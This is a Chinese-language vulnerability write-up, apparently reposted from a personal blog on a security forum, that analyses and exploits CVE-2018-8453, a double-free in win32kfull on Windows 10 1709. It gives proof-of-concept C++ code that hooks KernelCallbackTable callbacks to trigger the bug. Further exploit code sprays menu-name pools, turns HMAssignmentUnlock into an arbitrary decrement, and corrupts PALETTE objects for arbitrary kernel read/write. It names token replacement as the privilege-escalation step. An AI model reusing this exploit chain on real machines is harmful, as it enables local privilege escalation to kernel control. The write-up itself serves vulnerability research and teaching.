CVE-2018-8453是一种UAF类型的漏洞,漏洞产生的原因是win32kfull!NtUserSetWindowFNID函数在对窗口对象设置FNID时没有检查窗口对象是否已经被释放,导致可以对一个已经被释放了的窗口设置一个新的FNID。通过利用win32kfull!NtUserSetWindowFNID的这一缺陷,可以控制窗口对象销毁时在xxxFreeWindow函数中回调fnDWORD的hook函数,从而可以在win32kfull!xxxSBTrackInit中实现对pSBTrack的Double Free。
配置漏洞触发环境
[+] win10 x64 1709
[+] windbg preview 1.0.2001.02001
BSOD分析
首先,我们将poc放入虚拟机中并运行,触发崩溃之后转到windbg中。先查看漏洞成因
程序试图释放一块已经释放了的pool,说明这是一个经典的Double Free漏洞。看一下这个pool的属性
这是一个0x80大小的session pool,划重点,这里后面要用到的。接着看一下调用关系
静态分析可知,win32kbase!Win32FreePool和win32kfull!Win32FreePoolImpl都是传递参数的工具人,将win32kfull!xxxSBTrackInit传入的参数传递给nt!ExFreePoolWithTag函数,所以我们还需要接着分析win32kfull!xxxSBTrackInit函数。
win32kfull!xxxSBTrackInit函数实现滚动条的鼠标跟随,当用户在一个滚动条按下左键(左键也是重点,后面会用)时,系统就会产生一个SBTrack结构保存用户鼠标的当前位置;用户松开鼠标时,系统会释放SBTrack结构。具体细节我们可以通过 Windows 2000 的源码来深入了解:
pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK);
if (pSBTrack == NULL)
return;
pSBTrack->hTimerSB = 0;
pSBTrack->fHitOld = FALSE;
pSBTrack->xxxpfnSB = xxxTrackBox;
pSBTrack->spwndTrack = NULL;
pSBTrack->spwndSB = NULL;
pSBTrack->spwndSBNotify = NULL;
Lock(&pSBTrack->spwndTrack, pwnd);
PWNDTOPSBTRACK(pwnd) = pSBTrack;
pSBTrack->fCtlSB = (!curArea);pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK);
if (pSBTrack == NULL)
return;
win32kfull!xxxSBTrackInit函数首先通过UserAllocPoolWithQuota函数申请一块内存来保存SBTrack的结构,将其保存在指针pSBTrack中,之后对SBTrack结构进行了一些初始化。
xxxSBTrackLoop(pwnd, lParam, pSBCalc);
while (ptiCurrent->pq->spwndCapture == pwnd) {
if (!xxxGetMessage(&msg, NULL, 0, 0)) {
// Note: after xxx, pSBTrack may no longer be valid
break;
}
if (!_CallMsgFilter(&msg, MSGF_SCROLLBAR)) {
cmd = msg.message;
if (msg.hwnd == HWq(pwnd) && ((cmd >= WM_MOUSEFIRST && cmd <=
WM_MOUSELAST) || (cmd >= WM_KEYFIRST &&
cmd <= WM_KEYLAST))) {
cmd = SystoChar(cmd, msg.lParam);
// After xxxWindowEvent, xxxpfnSB, xxxTranslateMessage or
// xxxDispatchMessage, re-evaluate pSBTrack.
REEVALUATE_PSBTRACK(pSBTrack, pwnd, "xxxTrackLoop");
if ((pSBTrack == NULL) || (NULL == (xxxpfnSB = pSBTrack->xxxpfnSB)))
// mode cancelled -- exit track loop
return;
(*xxxpfnSB)(pwnd, cmd, msg.wParam, msg.lParam, pSBCalc);
} else {
xxxTranslateMessage(&msg, 0);
xxxDispatchMessage(&msg);
}
}
}
接着调用xxxSBTrackLoop函数来循环处理用户的消息,该函数循环获取消息、判断消息、分发消息。当用户放开鼠标时,xxxSBTrackLoop停止追踪消息,退出之后释放pSBTrack指向的内存。
// After xxx, re-evaluate pSBTrack
REEVALUATE_PSBTRACK(pSBTrack, pwnd, "xxxTrackLoop");
if (pSBTrack) {
Unlock(&pSBTrack->spwndSBNotify);
Unlock(&pSBTrack->spwndSB);
Unlock(&pSBTrack->spwndTrack);
UserFreePool(pSBTrack);
PWNDTOPSBTRACK(pwnd) = NULL;
}
xxxSBTrackLoop循环结束之后解引用了几个窗口的引用,然后释放掉pSBTrack指向的内存。
按理来说这里是不会报错的,以上这些操作都是正常流程,但double free的错误提示说明在pSBTrack被win32kfull!xxxSBTrackInit释放之前已经被偷偷释放过一次了,在哪里我们不得而知,先尝试下一个内存访问断点。
ba r8 ffff8d3dc1d2e9c0
断了几次都在申请内存的时候,最终,我们可以断在nt!ExFreePoolWithTag函数,该函数正打算释放pSTBrack,看起来和第二次释放没什么区别,但看一下堆栈就发现问题所在了。
这次释放发生在win32kbase!Win32FreePool释放pSBTrack之前,就是这次本不该发生的释放导致了Double Free的发生。先看最上面标记出来的代码,这次是一个xxxEndScrell函数调用了Win32FreePool,该函数源码如下
void xxxEndScroll(
PWND pwnd,
BOOL fCancel)
{
UINT oldcmd;
PSBTRACK pSBTrack;
CheckLock(pwnd);
UserAssert(!IsWinEventNotifyDeferred());
pSBTrack = PWNDTOPSBTRACK(pwnd);
if (pSBTrack && PtiCurrent()->pq->spwndCapture == pwnd && pSBTrack->xxxpfnSB != NULL) {
(省略部分内容)
pSBTrack->xxxpfnSB = NULL;
/*
* Unlock structure members so they are no longer holding down windows.
*/
Unlock(&pSBTrack->spwndSB);
Unlock(&pSBTrack->spwndSBNotify);
Unlock(&pSBTrack->spwndTrack);
UserFreePool(pSBTrack);
PWNDTOPSBTRACK(pwnd) = NULL;
}
}
只要我们能够通过if的判断,那么就能成功释放pSBTrack。因为程序是单线程,所以创建的窗口都是用的原来的SBTrack,自然而然的,pSBTrack和pSBTrack->xxxpfnSB != NULL都可以通过。至于PtiCurrent()->pq->spwndCapture == pwnd可以通过调用SetCapture函数来直接设置。
xxxEndScroll函数的作用我们已经知道了,接着继续循着调用路径追溯
void xxxDWP_DoCancelMode(
PWND pwnd)
{
(省略)
if (pwndCapture == pwnd) {
PSBTRACK pSBTrack = PWNDTOPSBTRACK(pwnd);
if (pSBTrack && (pSBTrack->xxxpfnSB != NULL))
xxxEndScroll(pwnd, TRUE);
(省略)
继续往上追溯就到了win32kfull!xxxRealDefWindowProc。我们可以在对应的源码处看到一些有用的信息,如下
LRESULT xxxDefWindowProc(
PWND pwnd,
UINT message,
WPARAM wParam,
LPARAM lParam)
{
(省略)
case WM_CANCELMODE:
{
/*
* Terminate any modes the system might
* be in, such as scrollbar tracking, menu mode,
* button capture, etc.
*/
xxxDWP_DoCancelMode(pwnd);
}
break;
(省略)
如果xxxDefWindowProc函数收到了WM_CANCELMODE,就可以去执行xxxEndScroll来释放SBTrack结构。
至此,我们对这个漏洞已经有一个初步认识了,大概有以下情报
[+] 漏洞的成因是程序对一个0x80大小的session poll进行了两次释放
[+] 第一次释放发生在poc的fnDWORDHook中,通过调用xxxEndScroll函数来实现
[+] 第二次释放发生在xxxSBTrackInit函数,当xxxSBTrackLoop函数结束时会释放pSBTrack
poc分析
创建窗口
UINT CreateWindows(VOID) {
HINSTANCE hInstance;
WNDCLASS wndclass = { 0 };
{
hInstance = GetModuleHandleA(0);
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = DefWindowProc;
wndclass.hInstance = hInstance;
wndclass.cbClsExtra = 0x00;
wndclass.cbWndExtra = 0x08;
wndclass.lpszClassName = "case";
if (!RegisterClassA(&wndclass)) {
cout << "RegisterClass Error!" << endl;
return 1;
}
}
Window = CreateWindowExA(0, "case", NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (!Window) {
cout << "Create Window Error!" << endl;
return 1;
}
//保存句柄在扩展内存中
SetWindowLongA(Window, 0, (ULONG)Window);
//WS_CHILD |
SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, hInstance, NULL);
cout << "Window:0x" << hex << Window << endl;
cout << "SrollBar:0x" << hex << SrollBar << endl;
}
注册窗口类并产生一个主窗口,以主窗口为父窗口再创建一个滚动条子控件。只注意两个地方就可以了,wndclass.cbWndExtra = 0x08
和子窗口属性设置为WS_CHILD
,后面分析的时候会讲原因。
回调函数Hook
//Windows10 1709 X64
VOID Hook_Init(VOID) {
DWORD OldType = 0;
ULONG64 KernelCallbackTable = *(ULONG64*)(PEB + 0x58);
VirtualProtect((LPVOID)KernelCallbackTable, 0x1024, PAGE_EXECUTE_READWRITE, &OldType);
//fnDWORD
fnDword = (My_FnFunction) * (ULONG64*)(KernelCallbackTable + 0x08 * 0x02);
*(ULONG64*)(KernelCallbackTable + 0x08 * 0x02) = (ULONG64)fnDWORDHook;
//xxxClientAllocWindowClassExtraBytes
xxxClientAllocWindowClassExtraBytes = (My_FnFunction) * (ULONG64*)(KernelCallbackTable + 0x08 * 0x7E);
//0x80
*(ULONG64*)(KernelCallbackTable + 0x08 * 0x7E) = (ULONG64)xxxClientAllocWindowClassExtraBytesHook;
}
首先获得KernelCallbackTable的地址,至于为什么是PEB+0x58,可以通过在windbg下dt _PEB @$peb
查看。VirtualProtect函数更改KernelCallbackTable表为可读可写可执行,这样我们可以直接通过赋值来修改其中的函数地址,这里我们修改了fnDWORD
和xxxClientAllocWindowClassExtraBytes
。
这两段代码是触发崩溃之前很重要的准备工作,但是有好多东西不明不白,你可能有以下问题
[+] 为什么要hook fnDWORD和xxxClientAllocWindowClassExtraBytes?
[+] 为什么要设置wndclass.cbWndExtra = 0x08?
[+] 为什么要滚动条必须设置为WS_CHILD?
这些问题都会在接下来的触发过程分析中得到解答。
触发过程分析
{
//Hook
Hook_Init();
Flag = 1;
//debug
DebugBreak();
//向滚动条发送点击消息
SendMessageA(SrollBar, WM_LBUTTONDOWN, MK_LBUTTON, 0x00080008);
}
在执行完Hook_Init函数之后,我们的准备工作已经基本完成了。首先向滚动条发送WM_LBUTTONDOWN消息,滚动条会调用xxxSBTrack函数来实现滚动条的鼠标跟随并且用SBTrack来保存鼠标位置,之后会调用xxxSBTrackLoop循环获取鼠标消息。xxxSBTrackLoop循环会调用fnDWORD回调函数来回到R3,如果我们hook fnDWORD的话,就可以在xxxSBRrackInit函数执行期间进行一些额外的操作,这就是为什么hook fnDWORD的原因。额外操作具体如下
VOID fnDWORDHook(PMSG MSG) {
if (Flag) {
Flag = 0;
DestroyWindow(Window);
}
if (*((PULONG64)MSG + 1) == 0x70) {
cout << "SendMessage" << endl;
SendMessageA(New_SrollBar, WM_CANCELMODE, 0, 0);
}
fnDword(MSG);
}
因为其他地方也可能会调用fnDWORD回调函数,所以我们通过if和fnDword(MSG)来维持hook之后的fnDWORD依然能正常运行。先看第一个if,通过Flag的值判断是否进入,这里我们调用DestroyWindow(Window)来释放父窗口。在windows 2000的源码中简单跟进了一下,我们得知DestroyWindow函数调用xxxDestroyWindow函数,xxxDestroyWindow又去调用xxxFreeWindow函数。在xxxFreeWindow函数中,我们观察一下cbWndExtra相关的内容
首先判断是否存在窗口扩展结构,如果存在的话则调用xxxClientFreeWindowClassExtraBytes函数释放窗口扩展空间,这就是为什么我们要设置wndclass.cbWndExtra = 0x08
的原因。接着我们查看一下该函数的实现
这里调用了用户模式回调函数,是peb-
>KernelCallbackTable)[126]所在的地址,该处正好就是我们hook的
xxxClientAllocWindowClassExtraBytes
。所以我们前面特地设置wndclass.cbWndExtra = 0x08
和hook了xxxClientAllocWindowClassExtraBytes
都是为了进入这个函数,然后调用我们的hook函数。
VOID xxxClientAllocWindowClassExtraBytesHook(PVOID MSG) {
if ((*(HWND*)*(HWND*)MSG) == Window) {
cout << "xxxClientAllocWindowClassExtraBytes" << endl;
//为什么要创建新滚动条控件呢,因为子滚动条控件的父窗口被释放后,无法获取到滚动条的内核地址了
New_SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, NULL, NULL, 2, 2, NULL, NULL, GetModuleHandleA(0), NULL);
NtUserSetWindowFNID(Window, 0x2A1);
SetCapture(New_SrollBar);
}
xxxClientAllocWindowClassExtraBytes(MSG);
}
在CreateWindows函数中,我们用SetWindowLongA(Window, 0, (ULONG)Window)
将句柄保存在了扩展内存之中,现在利用句柄判断是否为父窗口调用了xxxClientAllocWindowClassExtraBytesHook函数。在if中,我们修改了FNID的值,看起来有点迷惑,为什么要设置这些似乎不相关的东西?我们需要回顾一下xxxSBTrackInit中的内容
if (pSBTrack) {
Unlock(&pSBTrack->spwndSBNotify);
Unlock(&pSBTrack->spwndSB);
Unlock(&pSBTrack->spwndTrack);
UserFreePool(pSBTrack);
PWNDTOPSBTRACK(pwnd) = NULL;
}
在xxxSBLoop结束后,会对spwndSBNotify和主窗口的引用进行解引用。虽然父窗口已经被释放了,但子窗口还对父窗口有引用,所以相关的pool并没有被释放,但由于这是最后一个引用,HMAssignmentUnlock函数清除赋值锁的过程会减小对象的锁计数,在锁计数减小为0时调用HMUnlockObjectInternal销毁对象,销毁时调用win32k!ghati对应表项的销毁例程,并最终调用win32kfull!xxxDestroyWindow对窗口对象进行释放,这就是我们需要定义滚动条子控件的原因。
兜兜转转我们又回到了win32kfull!xxxDestroyWindow函数,刚刚已经分析过了,xxxDestroyWindow调用xxxFreeWindow来释放窗口,而FNID为释放窗口的Flag属性,我们把FNID修改为了0x2A1,正好可以通过下图的验证
过了验证之后我们会再一次调用fnDWORDHook函数并发送0x70的Message,回顾一下我们的fnDWORDHook
VOID fnDWORDHook(PMSG MSG) {
if (Flag) {
Flag = 0;
DestroyWindow(Window);
}
if (*((PULONG64)MSG + 1) == 0x70) {
cout << "SendMessage" << endl;
SendMessageA(New_SrollBar, WM_CANCELMODE, 0, 0);
}
fnDword(MSG);
}
第二个if终于排上了用场,他负责发送一个WM_CANCELMODE消息。在分析BSOD的时候,我们已经分析了xxxEndScroll函数触发的条件,正好就是WM_CANCELMODE消息,这样一来,我们的pSBTrack就会被释放,接着再被win32kfull!SBTrackInit中的Win32FreePool释放,从而造成Double Free。
至此,我们刚刚提出的几个问题也全都解决了:
[+] 为什么要hook fnDWORD和xxxClientAllocWindowClassExtraBytes?
答:我们可以通过SBTrackloop和xxxFreeWindow调用这两个回调函数,hook之后可以有两次返回r3进行操作的机会。
[+] 为什么要设置wndclass.cbWndExtra = 0x08?
答:为了回调xxxClientAllocWindowClassExtraBytes。
[+] 为什么要滚动条必须设置为WS_CHILD?
答:为了引用父窗口,这样才不会在DestroyWindow的时候被直接释放。
触发流程示意图
exp分析
HMAssignmentUnlock的利用姿势
前面我们已经分析过了,在xxxSBTrackLoop循环结束之后,HMAssignmentUnlock函数对spwndSB(父窗口)解引用的时候会调用win32kfull!xxxDestroyWindow并最终释放SBTrack结构。
if (pSBTrack) {
Unlock(&pSBTrack->spwndSBNotify);
Unlock(&pSBTrack->spwndSB); // 对主窗口解引用
Unlock(&pSBTrack->spwndTrack); // tagSBTrack解引用
UserFreePool(pSBTrack);
PWNDTOPSBTRACK(pwnd) = NULL;
}
注意Unlock(&pSBTrack->spwndTrack);
,在解引用tagSBTrack之前,tagSBTrack结构已经被释放了,如果我们堆喷射很多个0x80大小的session来重引用tagSBTrack。
UCHAR MenuNames[0x100] = { 0 }, ClassName[0x50] = { 0 };
memset(MenuNames, 0x43, 0x80 - 0x20);
*(ULONG64*)((ULONG64)MenuNames + 0x10) = To_Where_A_Palette;
*(ULONG64*)((ULONG64)MenuNames + 0x08) = To_Where_A_Palette;
while (I < 0x1000) {
sprintf((char*)ClassName, "WindowUaf%d", I);
hInstance = GetModuleHandleA(0);
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = DefWindowProc;
wndclass.hInstance = hInstance;
wndclass.lpszMenuName = (LPCWSTR)MenuNames;
wndclass.lpszClassName = (LPCWSTR)ClassName;
if (!RegisterClassW(&wndclass)) {
cout << "RegisterClass Error!" << endl;
return 1;
}
我们分配了0x1000个TagCls结构,其中保存着指向lpszMenuName结构的指针,该结构作为0x80的session pool 正好复用tagSBTrack的内存,只要修改MenuNames的内容就可以执行HMAssignmentUnlock(任意值)
了。
任意地址-1
HMAssignmentUnlock(任意值)
看起来好像作用不大,我们先看看HMAssignmentUnlock函数内部实现
既然我们已经获得了HMAssignmentUnlock(任意值)
,就等于是控制了rcx,函数内部对[[rcx]+8]减一,也就是我们已经获得了任意地址-1。
泄露PALETTE地址
memset(MenuNames, 0x43, 0x1000 - 10);
{
hInstance = GetModuleHandleA(0);
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = DefWindowProc;
wndclass.hInstance = hInstance;
wndclass.lpszMenuName = (LPCWSTR)MenuNames;
wndclass.lpszClassName = L"LEAKWS";
if (!RegisterClassW(&wndclass)) {
cout << "RegisterClass Error!" << endl;
return 1;
}
}
PALETTE调色板在Win10 1709没有开启Type ISOLaTion,而且同样是session pool,我们可以考虑修改该结构来达到任意地址读写。先通过MenuName创建一个0x1000的pool,这是为了取得lpszMenuName的地址,通过它我们可以得到PALETTE的地址。
//创建窗口在用户映射桌面堆的位置
PTagWnd = (ULONG64)HMValidateHandle(hwnd, 0x01);
UlClientDelta = (ULONG64)((*(ULONG64*)(PTagWnd + 0x20)) - (ULONG64)PTagWnd);
TagCls = (*(ULONG64*)(PTagWnd + 0xa8)) - UlClientDelta;
接着调用HMValidateHandle()
函数获取tagWND的用户态桌面堆的地址,又因为tagWND结构中保存了自己在内核堆中的地址,我们可以获得一个相对偏移,通过这个偏移我们可以获取任意结构在内核桌面堆中的地址,又因为tagWND中保存着tagCLS的地址,我们可以算出tagCLS在用户态桌面堆的地址。有了tagCLS我们就可以在0x98的偏移地址找到MenuName,也就可以找到PALETTE的地址了。然后释放MenuName,这样内存就会被释放为Free状态,后面讲为什么要释放。
DestroyWindow(hwnd);
return *(ULONG64*)(TagCls + 0x98);
任意地址读写
现在我们有了目标地址,也有了任意地址-1,已经可以进行一些操作了。虽然靠这个任意地址-1为所欲为是不太可能,但是他可以帮我们构造攻击链,是的,忙活这么半天还只是在进行准备工作,具体攻击链如图所示
PALETTE中的cEntries为该结构的读写范围,pFirstColor是指向调色板项的指针,如果我们能扩大cEntries的范围,就能对pFirstColor进行读写,修改pFirstColor的值,然后就可以调用PALETTE相关的函数对内核数据进行任意读写了。
VOID GetPalette_Address(VOID) {
ULONG64 A_Palette_Address = NULL, B_Palette_Address = NULL;
Palette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (sizeof(PALETTEENTRY) * (0x1D5 - 0x01)));
memset(Palette, 0x42, sizeof(LOGPALETTE) + (sizeof(PALETTEENTRY) * (0x1D5 - 0x01)));
Palette->palVersion = 0x0300;
Palette->palNumEntries = 0x1D5;
A_Palette_Address = GetMenuAddress();
cout << "A_Palette_Address:0x" << hex << A_Palette_Address << endl;
To_Where_A_Palette = A_Palette_Address + 0x2D - 8;
//内存缩紧
for (UINT I = 0; I < 0x1500; ++I) {
CreatePalette(Palette);
}
UnregisterClassW(L"LEAKWS", GetModuleHandleA(0));
Where_PALETTE = CreatePalette(Palette);
What_PALETTE = CreatePalette(Palette);
cout << "Where_PALETTE:0x" << hex << Where_PALETTE << endl;
cout << "What_PALETTE:0x" << hex << What_PALETTE << endl;
}
我们设置的cEntries的值为0x1d5,这会分配一个0x800大小的kernel pool,如果分配两个的话就会重新引用刚刚释放的0x1000内存,这样的话,修改cEntries造成OOB之后就可以对*pFirstColoe进行任意读写了。
HMAssignmentUnlock
执行两次之后,cEntries的值已经被修改成了0xFFFFFFd5,足够我们进行操作了,通过 SetPaletteEntries()
以及 GetPaletteEntries()
函数即可在Ring3来任意内存读写,提权倒是很轻松了,修改Token就行了。
收尾工作
虽然刚刚的操作很是成功,但是BSOD还是会依旧触发,因为我们通过lpszMenuName引用了pSBTrack,在之后清理进程的时候依然会触发DoubleFree,会影响我们的利用。所以我们需要在UAF_80函数中将所有的IpszMenyNames都保存了起来,利用任意读写将保存lpszMenuName 的结构赋值为0,这样就不会有对pSBTrack的错误释放,而是会在xxxSBTrack的正常流程中仅仅释放一次。
VOID FMenuName(VOID) {
ULONG64 Zero = 0;
UCHAR Menu[0x20] = { 0 };
for (UINT I = 0; I < 0x1000; ++I) {
if (TagCls_Menu_Address[I] == 0) {
continue;
}
*(ULONG64*)Menu = TagCls_Menu_Address[I];
SetPaletteEntries(Where_PALETTE, 0x1DE + 0x1E, 2, (LPPALETTEENTRY)&Menu);
SetPaletteEntries(What_PALETTE, 0, 2, (LPPALETTEENTRY)&Zero);
}
}
至此,我们成功解决了Double Free和提权,大功告成了!
其他
我的博客:https://www.0x2l.cn/
BY:先知论坛
一个搜索引擎的实现流程大概为:首先获取海量的数据,整理成统一的格式,然后交给索引程序建立索引,当索引建立好后,就可以进行搜索。简而言之就是:数据获取->数据检索->数据搜索 0x1数据获取 数据获取大概有如下两种: 爬虫定期获取:根据网站特征,写爬…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论